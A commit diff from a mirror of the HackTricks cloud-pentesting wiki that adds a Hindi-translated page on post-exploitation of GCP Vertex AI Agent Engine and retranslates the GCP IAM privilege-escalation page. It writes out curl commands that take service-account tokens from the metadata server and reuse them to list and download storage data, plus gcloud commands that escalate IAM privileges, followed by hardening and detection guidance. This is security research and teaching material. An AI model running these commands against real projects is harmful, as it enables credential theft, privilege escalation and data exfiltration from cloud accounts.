mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/
This commit is contained in:
Translator
+271
@@ -0,0 +1,271 @@
|
||||
# GCP - Vertex AI Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Vertex AI Agent Engine / Reasoning Engine
|
||||
|
||||
यह पृष्ठ उन वर्कलोड्स पर केंद्रित है जो **Vertex AI Agent Engine / Reasoning Engine** में चलते हैं और attacker-controlled tools या code को एक Google-managed runtime के अंदर चलाते हैं।
|
||||
|
||||
For the general Vertex AI overview check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-vertex-ai-enum.md
|
||||
{{#endref}}
|
||||
|
||||
For classic Vertex AI privesc paths using custom jobs, models, and endpoints check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-vertex-ai-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Why this service is special
|
||||
|
||||
Agent Engine एक उपयोगी परन्तु खतरनाक पैटर्न पेश करता है: **developer-supplied code जो एक managed Google runtime में Google-managed identity के साथ चल रहा है**।
|
||||
|
||||
रोचक भरोसे की सीमाएँ (trust boundaries) निम्नलिखित हैं:
|
||||
|
||||
- **Consumer project**: आपका प्रोजेक्ट और आपका डेटा।
|
||||
- **Producer project**: बैकएंड सेवा चलाने वाला Google-managed प्रोजेक्ट।
|
||||
- **Tenant project**: तैनात किए गए agent instance के लिए समर्पित Google-managed प्रोजेक्ट।
|
||||
|
||||
Google की Vertex AI IAM documentation के अनुसार, Vertex AI resources **Vertex AI service agents** को resource identities के रूप में उपयोग कर सकते हैं, और डिफ़ॉल्ट रूप से उन service agents को प्रोजेक्ट के सभी Cloud Storage संसाधनों और BigQuery डेटा तक **read-only access** मिल सकता है। यदि Agent Engine के अंदर चल रहा कोड रनटाइम क्रेडेंशियल्स चुरा लेता है, तो वह डिफ़ॉल्ट एक्सेस तुरंत ही दिलचस्प हो जाता है।
|
||||
|
||||
### Main abuse path
|
||||
|
||||
1. एक agent को deploy या modify करें ताकि attacker-controlled tool code managed runtime के अंदर execute हो।
|
||||
2. प्रोजेक्ट identity, service account identity, OAuth scopes, और access tokens पुनर्प्राप्त करने के लिए **metadata server** से query करें।
|
||||
3. चुराए गए token को **Vertex AI Reasoning Engine P4SA / service agent** के रूप में पुनः उपयोग करें।
|
||||
4. **consumer project** में pivot करें और सर्विस एजेंट द्वारा अनुमति प्राप्त प्रोजेक्ट-व्यापी स्टोरेज डेटा पढ़ें।
|
||||
5. उसी identity से पहुँचने योग्य **producer** और **tenant** पर्यावरणों में pivot करें।
|
||||
6. internal Artifact Registry packages को enumerate करें और `Dockerfile.zip`, `requirements.txt`, और `code.pkl` जैसे tenant deployment artifacts निकालें।
|
||||
|
||||
यह सिर्फ "run code in your own agent" का मुद्दा नहीं है। मुख्य समस्या इन चीज़ों के संयोजन में निहित है:
|
||||
|
||||
- **metadata-accessible credentials**
|
||||
- **broad default service-agent privileges**
|
||||
- **wide OAuth scopes**
|
||||
- **multi-project trust boundaries hidden behind one managed service**
|
||||
|
||||
## Enumeration
|
||||
|
||||
### Identify Agent Engine resources
|
||||
|
||||
The resource name format used by Agent Engine is:
|
||||
```text
|
||||
projects/<project-id>/locations/<location>/reasoningEngines/<reasoning-engine-id>
|
||||
```
|
||||
यदि आपके पास Vertex AI एक्सेस के साथ एक token है, तो Reasoning Engine API को सीधे सूचीबद्ध करें:
|
||||
```bash
|
||||
PROJECT_ID=<project-id>
|
||||
LOCATION=<location>
|
||||
|
||||
curl -s \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
"https://${LOCATION}-aiplatform.googleapis.com/v1/projects/${PROJECT_ID}/locations/${LOCATION}/reasoningEngines"
|
||||
```
|
||||
डिप्लॉयमेंट लॉग्स की जाँच करें क्योंकि वे पैकेजिंग या रनटाइम स्टार्टअप के दौरान उपयोग किए गए **आंतरिक उत्पादक Artifact Registry paths** को leak कर सकते हैं:
|
||||
```bash
|
||||
gcloud logging read \
|
||||
'textPayload:("pkg.dev" OR "reasoning-engine") OR jsonPayload:("pkg.dev" OR "reasoning-engine")' \
|
||||
--project <project-id> \
|
||||
--limit 50 \
|
||||
--format json
|
||||
```
|
||||
Unit 42 के शोधकर्ताओं ने निम्नलिखित internal paths देखे:
|
||||
```text
|
||||
us-docker.pkg.dev/cloud-aiplatform-private/reasoning-engine
|
||||
us-docker.pkg.dev/cloud-aiplatform-private/llm-extension/reasoning-engine-py310:prod
|
||||
```
|
||||
## Metadata credential theft from the runtime
|
||||
|
||||
यदि आप agent runtime के अंदर कोड चला सकते हैं, तो पहले metadata service को क्वेरी करें:
|
||||
```bash
|
||||
curl -H 'Metadata-Flavor: Google' \
|
||||
'http://metadata.google.internal/computeMetadata/v1/instance/?recursive=true'
|
||||
```
|
||||
दिलचस्प फ़ील्ड्स में शामिल हैं:
|
||||
|
||||
- प्रोजेक्ट पहचानकर्ता
|
||||
- संलग्न service account / service agent
|
||||
- runtime के लिए उपलब्ध OAuth scopes
|
||||
|
||||
फिर संलग्न identity के लिए एक token का अनुरोध करें:
|
||||
```bash
|
||||
curl -H 'Metadata-Flavor: Google' \
|
||||
'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token'
|
||||
```
|
||||
token को सत्यापित करें और प्रदान किए गए scopes की जाँच करें:
|
||||
```bash
|
||||
TOKEN="$(curl -s -H 'Metadata-Flavor: Google' \
|
||||
'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' | jq -r .access_token)"
|
||||
|
||||
curl -s \
|
||||
-H 'Content-Type: application/x-www-form-urlencoded' \
|
||||
-d "access_token=${TOKEN}" \
|
||||
https://www.googleapis.com/oauth2/v1/tokeninfo
|
||||
```
|
||||
> [!WARNING]
|
||||
> Google changed parts of the ADK deployment workflow after the research was reported, so exact old deployment snippets might no longer match the current SDK. The important primitive is still the same: **if attacker-controlled code executes inside the Agent Engine runtime, metadata-derived credentials become reachable unless additional controls block that path**.
|
||||
|
||||
## Consumer-project pivot: service-agent डेटा चोरी
|
||||
|
||||
एक बार runtime token चोरी हो जाने पर, consumer project के खिलाफ service agent की effective access को टेस्ट करें।
|
||||
|
||||
दस्तावेज़ित जोखिम भरी डिफ़ॉल्ट क्षमता व्यापक **read access to project data** है। Unit 42 के शोध ने विशेष रूप से सत्यापित किया:
|
||||
|
||||
- `storage.buckets.get`
|
||||
- `storage.buckets.list`
|
||||
- `storage.objects.get`
|
||||
- `storage.objects.list`
|
||||
|
||||
व्यावहारिक सत्यापन चोरी किए गए token के साथ:
|
||||
```bash
|
||||
curl -s \
|
||||
-H "Authorization: Bearer ${TOKEN}" \
|
||||
"https://storage.googleapis.com/storage/v1/b?project=<project-id>"
|
||||
|
||||
curl -s \
|
||||
-H "Authorization: Bearer ${TOKEN}" \
|
||||
"https://storage.googleapis.com/storage/v1/b/<bucket-name>/o"
|
||||
|
||||
curl -s \
|
||||
-H "Authorization: Bearer ${TOKEN}" \
|
||||
"https://storage.googleapis.com/storage/v1/b/<bucket-name>/o/<url-encoded-object>?alt=media"
|
||||
```
|
||||
यह एक compromised या malicious agent को **project-wide storage exfiltration primitive** में बदल देता है।
|
||||
|
||||
## Producer-project pivot: आंतरिक Artifact Registry access
|
||||
|
||||
वही stolen identity **Google-managed producer resources** के खिलाफ भी काम कर सकती है।
|
||||
|
||||
सबसे पहले logs से recovered internal repository URIs का परीक्षण करें। फिर Artifact Registry API के साथ packages को enumerate करें:
|
||||
```python
|
||||
packages_request = artifactregistry_service.projects().locations().repositories().packages().list(
|
||||
parent=f"projects/{project_id}/locations/{location_id}/repositories/llm-extension"
|
||||
)
|
||||
packages_response = packages_request.execute()
|
||||
packages = packages_response.get("packages", [])
|
||||
```
|
||||
यदि आपके पास केवल एक raw bearer token है, तो सीधे REST API को कॉल करें:
|
||||
```bash
|
||||
curl -s \
|
||||
-H "Authorization: Bearer ${TOKEN}" \
|
||||
"https://artifactregistry.googleapis.com/v1/projects/<producer-project>/locations/<location>/repositories/llm-extension/packages"
|
||||
```
|
||||
यह तब भी मूल्यवान है, भले ही write access ब्लॉक हो, क्योंकि यह उजागर करता है:
|
||||
|
||||
- आंतरिक image नाम
|
||||
- deprecated images
|
||||
- supply-chain संरचना
|
||||
- आगे के अनुसंधान के लिए package/version इन्वेंटरी
|
||||
|
||||
For more Artifact Registry background check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-artifact-registry-enum.md
|
||||
{{#endref}}
|
||||
|
||||
## Tenant-project pivot: deployment artifact retrieval
|
||||
|
||||
Reasoning Engine deployments उस instance के लिए Google द्वारा नियंत्रित एक **tenant project** में भी रोचक artifacts छोड़ते हैं।
|
||||
|
||||
Unit 42 के शोध में पाया गया:
|
||||
|
||||
- `Dockerfile.zip`
|
||||
- `code.pkl`
|
||||
- `requirements.txt`
|
||||
|
||||
चुराए गए token का उपयोग करके accessible storage को enumerate करें और deployment artifacts की खोज करें:
|
||||
```bash
|
||||
curl -s \
|
||||
-H "Authorization: Bearer ${TOKEN}" \
|
||||
"https://storage.googleapis.com/storage/v1/b?project=<tenant-project>"
|
||||
```
|
||||
tenant परियोजना के आर्टिफैक्ट्स से पता चल सकता है:
|
||||
|
||||
- आंतरिक bucket नाम
|
||||
- आंतरिक image संदर्भ
|
||||
- पैकेजिंग संबंधी धारणाएँ
|
||||
- निर्भरता सूचियाँ
|
||||
- सीरियलाइज़्ड agent कोड
|
||||
|
||||
ब्लॉग ने एक आंतरिक संदर्भ भी देखा, जैसे:
|
||||
```text
|
||||
gs://reasoning-engine-restricted/versioned_py/Dockerfile.zip
|
||||
```
|
||||
Even when the referenced restricted bucket is not readable, those leaked paths help map internal infrastructure.
|
||||
|
||||
## `code.pkl` and conditional RCE
|
||||
|
||||
If the deployment pipeline stores executable agent state in **Python `pickle`** format, treat it as a high-risk target.
|
||||
|
||||
The immediate issue is **गोपनीयता**:
|
||||
|
||||
- ऑफ़लाइन deserialization कोड संरचना उजागर कर सकती है
|
||||
- पैकेज फॉर्मेट क्रियान्वयन विवरण leaks कर देता है
|
||||
|
||||
The bigger issue is **conditional RCE**:
|
||||
|
||||
- यदि कोई attacker service-side deserialization से पहले serialized artifact में छेड़छाड़ कर सके
|
||||
- और pipeline बाद में उस pickle को लोड कर ले
|
||||
- managed runtime के अंदर arbitrary code execution संभव हो जाता है
|
||||
|
||||
This is not a standalone exploit by itself. It is a **dangerous deserialization sink** that becomes critical when combined with any artifact write or supply-chain tampering primitive.
|
||||
|
||||
## OAuth scopes and Workspace blast radius
|
||||
|
||||
The metadata response भी runtime से जुड़े **OAuth scopes** को उजागर करता है।
|
||||
|
||||
यदि ये scopes न्यूनतम आवश्यक से व्यापक हैं, तो एक stolen token GCP APIs से अधिक के खिलाफ उपयोगी बन सकता है। IAM अभी भी यह तय करेगा कि identity authorized है या नहीं, लेकिन व्यापक scopes blast radius बढ़ाते हैं और बाद की misconfigurations को अधिक खतरनाक बनाते हैं।
|
||||
|
||||
यदि आपको Workspace-related scopes मिलते हैं, तो cross-check करें कि compromised identity के पास Workspace impersonation या delegated access का path भी तो नहीं है:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-to-workspace-pivoting/README.md
|
||||
{{#endref}}
|
||||
|
||||
## Hardening / detection
|
||||
|
||||
### डिफ़ॉल्ट managed identity के बजाय custom service account को प्राथमिकता दें
|
||||
|
||||
वर्तमान Agent Engine documentation deployed agent के लिए एक **custom service account** सेट करने का समर्थन करता है। यह blast radius कम करने का सबसे साफ़ तरीका है:
|
||||
|
||||
- default broad service agent पर निर्भरता हटाएं
|
||||
- agent को केवल आवश्यक न्यूनतम permissions दें
|
||||
- runtime identity को auditable और जानबूझकर सीमित करें
|
||||
|
||||
### वास्तविक service-agent access का सत्यापन करें
|
||||
|
||||
Agent Engine उपयोग किए जाने वाले हर प्रोजेक्ट में Vertex AI service agent के effective access का निरीक्षण करें:
|
||||
```bash
|
||||
gcloud projects get-iam-policy <project-id> \
|
||||
--format json | jq '
|
||||
.bindings[]
|
||||
| select(any(.members[]?; contains("gcp-sa-aiplatform") or contains("aiplatform-re")))
|
||||
'
|
||||
```
|
||||
ध्यान दें कि क्या संलग्न पहचान पढ़ सकती है:
|
||||
|
||||
- all GCS buckets
|
||||
- BigQuery datasets
|
||||
- Artifact Registry repositories
|
||||
- build/deployment workflows से पहुँच योग्य secrets या internal registries
|
||||
|
||||
### एजेंट कोड को privileged code execution के रूप में मानें
|
||||
|
||||
एजेंट द्वारा चलाया गया कोई भी tool/function इस तरह रिव्यू किया जाना चाहिए जैसे वह VM पर चल रहा कोड हो जिसे metadata तक पहुँच है। व्यवहार में इसका मतलब है:
|
||||
|
||||
- agent tools की समीक्षा करें कि क्या वे metadata endpoints तक direct HTTP access करते हैं
|
||||
- logs की समीक्षा करें और internal `pkg.dev` repositories और tenant buckets के संदर्भ देखें
|
||||
- किसी भी packaging path की समीक्षा करें जो executable state को `pickle` के रूप में स्टोर करता है
|
||||
|
||||
## References
|
||||
|
||||
- [Double Agents: Exposing Security Blind Spots in GCP Vertex AI](https://unit42.paloaltonetworks.com/double-agents-vertex-ai/)
|
||||
- [Deploy an agent - Vertex AI Agent Engine](https://docs.cloud.google.com/agent-builder/agent-engine/deploy)
|
||||
- [Vertex AI access control with IAM](https://docs.cloud.google.com/vertex-ai/docs/general/access-control)
|
||||
- [Service accounts and service agents](https://docs.cloud.google.com/iam/docs/service-account-types#service-agents)
|
||||
- [Authorization for Google Cloud APIs](https://docs.cloud.google.com/docs/authentication#authorization-gcp)
|
||||
- [pickle - Python object serialization](https://docs.python.org/3/library/pickle.html)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## IAM
|
||||
|
||||
Find more information about IAM in:
|
||||
IAM के बारे में अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-iam-and-org-policies-enum.md
|
||||
@@ -12,16 +12,16 @@ Find more information about IAM in:
|
||||
|
||||
### `iam.roles.update` (`iam.roles.get`)
|
||||
|
||||
उक्त permissions वाले attacker आपके लिए assigned role को update कर सकेगा और आपको अन्य resources के लिए extra permissions दे सकेगा, जैसे:
|
||||
उल्लिखित permissions वाले attacker आपके लिए असाइन किए गए role को update कर सकते हैं और आपको अन्य resources के लिए extra permissions दे सकते हैं, जैसे:
|
||||
```bash
|
||||
gcloud iam roles update <rol name> --project <project> --add-permissions <permission>
|
||||
```
|
||||
आप यहाँ एक स्क्रिप्ट पा सकते हैं जो **creation, exploit and cleaning of a vuln environment here** को स्वचालित करती है और इस विशेषाधिकार का दुरुपयोग करने के लिए एक python स्क्रिप्ट [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). अधिक जानकारी के लिए [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
आप एक स्क्रिप्ट पा सकते हैं जो **creation, exploit and cleaning of a vuln environment here** को स्वचालित करती है और इस privilege का दुरुपयोग करने के लिए एक python स्क्रिप्ट [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py) है। अधिक जानकारी के लिए [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) देखें।
|
||||
```bash
|
||||
gcloud iam roles update <Rol_NAME> --project <PROJECT_ID> --add-permissions <Permission>
|
||||
```
|
||||
### `iam.roles.create` & `iam.serviceAccounts.setIamPolicy`
|
||||
iam.roles.create permission किसी प्रोजेक्ट/ऑर्गनाइज़ेशन में custom roles बनाने की अनुमति देती है। attacker के हाथों में यह खतरनाक है क्योंकि इससे वे नए permission सेट परिभाषित कर सकते हैं जिन्हें बाद में entities को सौंपा जा सकता है (उदाहरण के लिए, iam.serviceAccounts.setIamPolicy permission का उपयोग करके) with the goal of escalating privileges.
|
||||
iam.roles.create permission किसी project/organization में कस्टम roles बनाने की अनुमति देता है। एटैकर के हाथों में यह खतरनाक हो सकता है क्योंकि यह उन्हें नए permissions के सेट परिभाषित करने में सक्षम बनाता है, जिन्हें बाद में entities को असाइन किया जा सकता है (उदाहरण के लिए, iam.serviceAccounts.setIamPolicy permission का उपयोग करके) ताकि वे अधिकार बढ़ा सकें।
|
||||
```bash
|
||||
gcloud iam roles create <ROLE_ID> \
|
||||
--project=<PROJECT_ID> \
|
||||
@@ -31,32 +31,38 @@ gcloud iam roles create <ROLE_ID> \
|
||||
```
|
||||
### `iam.serviceAccounts.getAccessToken` (`iam.serviceAccounts.get`)
|
||||
|
||||
उक्त अनुमतियाँ रखने वाला हमलावर **Service Account का access token अनुरोध कर सकेगा**, इसलिए यह संभव है कि वह हमारी तुलना में अधिक अधिकारों वाले Service Account का access token अनुरोध कर ले।
|
||||
उल्लेखित permissions वाले attacker **request कर सकेगा किसी Service Account का access token**, इसलिए यह संभव है कि वह हमारे से अधिक privileges वाले किसी Service Account का access token request कर ले।
|
||||
|
||||
एक **resource-driven** वेरिएंट के लिए, जिसमें attacker-controlled code metadata service से एक **managed Vertex AI Agent Engine runtime token** चुराकर उसे Vertex AI service agent के रूप में reuse करता है, देखें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md
|
||||
{{#endref}}
|
||||
```bash
|
||||
gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
|
||||
auth print-access-token
|
||||
```
|
||||
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
आप एक script पा सकते हैं जो [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) को automate करता है और इस privilege का दुरुपयोग करने के लिए एक python script [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py) उपलब्ध है। अधिक जानकारी के लिए [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) देखें।
|
||||
|
||||
### `iam.serviceAccountKeys.create`
|
||||
|
||||
उल्लिखित अनुमतियों वाले एक हमलावर को **Service Account के लिए user-managed key create** करने में सक्षम होंगे, जिससे हम उस Service Account के रूप में GCP तक पहुँच सकेंगे।
|
||||
उल्लेखित permissions वाले attacker सक्षम होंगे **create a user-managed key for a Service Account**, जिससे हमें उस Service Account के रूप में GCP तक पहुँचने की अनुमति मिल जाएगी।
|
||||
```bash
|
||||
gcloud iam service-accounts keys create --iam-account <name> /tmp/key.json
|
||||
|
||||
gcloud auth activate-service-account --key-file=sa_cred.json
|
||||
```
|
||||
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
आप [**vuln environment के निर्माण, exploit और सफाई को ऑटोमेट करने वाली एक स्क्रिप्ट यहाँ**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) और इस privilege का दुरुपयोग करने वाली एक python स्क्रिप्ट [**यहाँ**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py) पा सकते हैं। अधिक जानकारी के लिए [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) देखें।
|
||||
|
||||
ध्यान दें कि **`iam.serviceAccountKeys.update` किसी SA की key को बदलने के लिए काम नहीं करेगा** क्योंकि ऐसा करने के लिए `iam.serviceAccountKeys.create` permission भी चाहिए।
|
||||
ध्यान दें कि **`iam.serviceAccountKeys.update`** किसी SA की key को संशोधित करने के लिए काम नहीं करेगा क्योंकि इसके लिए permissions **`iam.serviceAccountKeys.create`** भी आवश्यक है।
|
||||
|
||||
### `iam.serviceAccounts.implicitDelegation`
|
||||
|
||||
यदि आपके पास किसी Service Account पर **`iam.serviceAccounts.implicitDelegation`** permission है और वह Service Account किसी तीसरे Service Account पर **`iam.serviceAccounts.getAccessToken`** permission रखता है, तो आप implicitDelegation का उपयोग करके उस तीसरे Service Account के लिए **token बना सकते हैं**। समझाने के लिए यहाँ एक डायग्राम है।
|
||||
अगर आपके पास किसी Service Account पर **`iam.serviceAccounts.implicitDelegation`** permission है जो कि तीसरे Service Account पर **`iam.serviceAccounts.getAccessToken`** permission रखता है, तो आप implicitDelegation का उपयोग करके उस तीसरे Service Account के लिए **token बना सकते हैं**। समझाने के लिए यहाँ एक डायग्राम है।
|
||||
|
||||
|
||||
|
||||
ध्यान दें कि [**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts) के अनुसार, `gcloud` की delegation केवल [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken) मेथड का उपयोग करके token जनरेट करने के लिए काम करती है। इसलिए यहाँ बताया गया है कि API का उपयोग करके सीधे token कैसे प्राप्त करें:
|
||||
ध्यान दें कि [**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts) के अनुसार, `gcloud` का delegation केवल [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken) method का उपयोग करके token जेनरेट करने के लिए ही काम करता है। तो यहाँ सीधे API का उपयोग करके token कैसे प्राप्त करें:
|
||||
```bash
|
||||
curl -X POST \
|
||||
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
|
||||
@@ -71,19 +77,19 @@ You can find a script to automate the [**creation, exploit and cleaning of a vul
|
||||
|
||||
### `iam.serviceAccounts.signBlob`
|
||||
|
||||
उल्लिखित permissions वाले एक attacker GCP में **arbitrary payloads पर sign** कर पाएगा। इसलिए यह संभव होगा कि हम **टारगेट किए गए SA का एक unsigned JWT बनाकर उसे एक blob के रूप में भेजें ताकि वह SA JWT पर साइन कर दे**। अधिक जानकारी के लिए [**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed).
|
||||
उल्लिखित permissions वाले attacker सक्षम होंगे **sign of arbitrary payloads in GCP** करने में। इसलिए यह संभव होगा कि हम **create an unsigned JWT of the SA and then send it as a blob to get the JWT signed** by the SA we are targeting. अधिक जानकारी के लिए [**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed) देखें।
|
||||
|
||||
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) and [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccounts.signJwt`
|
||||
|
||||
उल्लिखित permissions वाले एक attacker **well-formed JSON web tokens (JWTs) पर sign** कर पाएगा। पिछले method से फर्क यह है कि **blob को साइन करवाने के बजाय हम signJWT method का उपयोग करते हैं जो पहले से ही एक JWT की अपेक्षा करता है**। इससे उपयोग करना आसान हो जाता है लेकिन आप किसी भी bytes की बजाय केवल JWTs ही साइन कर सकते हैं।
|
||||
उल्लिखित permissions वाले attacker सक्षम होंगे **sign well-formed JSON web tokens (JWTs)** करने में। पिछले method से फर्क यह है कि **instead of making google sign a blob containing a JWT, we use the signJWT method that already expects a JWT**। यह उपयोग में आसान बनता है पर आप केवल JWT ही sign कर सकते हैं न कि किसी भी bytes को।
|
||||
|
||||
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccounts.setIamPolicy` <a href="#iam.serviceaccounts.setiampolicy" id="iam.serviceaccounts.setiampolicy"></a>
|
||||
|
||||
उल्लिखित permissions वाले एक attacker **service accounts पर IAM policies जोड़** सकेंगे। आप इसका दुरुपयोग करके खुद को वे permissions दे सकते हैं जिनकी आपको किसी service account को impersonate करने के लिए आवश्यकता है। निम्न उदाहरण में हम अपने आप को टारगेट SA पर `roles/iam.serviceAccountTokenCreator` role दे रहे हैं:
|
||||
उल्लिखित permissions वाले attacker सक्षम होंगे **add IAM policies to service accounts** करने के लिए। आप इसे abuse करके अपने आप को वे permissions दे सकते हैं जिनकी आपको service account को impersonate करने के लिए आवश्यकता होगी। निम्न उदाहरण में हम स्वयं को `roles/iam.serviceAccountTokenCreator` role उस दिलचस्प SA पर दे रहे हैं:
|
||||
```bash
|
||||
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
|
||||
--member="user:username@domain.com" \
|
||||
@@ -94,27 +100,27 @@ gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.i
|
||||
--member="user:username@domain.com" \
|
||||
--role="roles/iam.serviceAccountUser"
|
||||
```
|
||||
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.**
|
||||
You can find a script to automate the [**vuln environment के निर्माण, exploit और क्लीनिंग को स्वचालित करने वाली स्क्रिप्ट यहाँ**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.**
|
||||
|
||||
### `iam.serviceAccounts.actAs`
|
||||
|
||||
The **iam.serviceAccounts.actAs permission** is like the **iam:PassRole permission from AWS**. यह Compute Engine instance जैसे कार्यों को चलाने के लिए आवश्यक है, क्योंकि यह किसी Service Account के रूप में "actAs" करने की क्षमता प्रदान करता है और permissions के सुरक्षित प्रबंधन को सुनिश्चित करता है। इसके बिना users अनुचित पहुँच प्राप्त कर सकते हैं। अतिरिक्त रूप से, **iam.serviceAccounts.actAs** का शोषण कई तरीकों से किया जा सकता है, जिनमें हर एक के लिए अलग-अलग permissions की आवश्यकता होती है, जबकि कुछ अन्य तरीकों के लिए सिर्फ एक permission काफी होता है।
|
||||
The **iam.serviceAccounts.actAs permission** is like the **iam:PassRole permission from AWS**. It's essential for executing tasks, like initiating a Compute Engine instance, as it grants the ability to "actAs" a Service Account, ensuring secure permission management. Without this, users might gain undue access. Additionally, exploiting the **iam.serviceAccounts.actAs** involves various methods, each requiring a set of permissions, contrasting with other methods that need just one.
|
||||
|
||||
#### Service account impersonation <a href="#service-account-impersonation" id="service-account-impersonation"></a>
|
||||
|
||||
Service account की impersonation नए और बेहतर privileges प्राप्त करने के लिए बहुत उपयोगी हो सकती है। आप तीन तरीकों से [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account):
|
||||
Service Account का impersonate करना नए और बेहतर privileges प्राप्त करने के लिए बहुत उपयोगी हो सकता है। किसी अन्य Service Account का impersonate करने के तीन तरीके हैं:
|
||||
|
||||
- Authentication **using RSA private keys** (covered above)
|
||||
- Authorization **using Cloud IAM policies** (covered here)
|
||||
- **Deploying jobs on GCP services** (more applicable to the compromise of a user account)
|
||||
- Authentication **using RSA private keys** (ऊपर कवर किया गया)
|
||||
- Authorization **using Cloud IAM policies** (यहाँ कवर किया गया)
|
||||
- **Deploying jobs on GCP services** (ज़्यादातर user account के compromise पर लागू)
|
||||
|
||||
### `iam.serviceAccounts.getOpenIdToken`
|
||||
|
||||
उल्लेखित permissions वाले attacker OpenID JWT generate कर पाएंगे। इन्हें identity assert करने के लिए उपयोग किया जाता है और ये आवश्यक रूप से किसी resource के खिलाफ implicit authorization नहीं देते।
|
||||
उल्लेखित permissions वाले एक attacker OpenID JWT जनरेट कर पाएगा। इनका उपयोग identity को assert करने के लिए होता है और ये जरूरी नहीं कि किसी resource के खिलाफ कोई implicit authorization दें।
|
||||
|
||||
According to this [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b), audience (जिस service पर आप token का उपयोग करके authenticate करना चाहते हैं) बताना ज़रूरी है और आपको google द्वारा sign किया गया एक JWT मिलेगा जो service account और JWT के audience को दर्शाता है।
|
||||
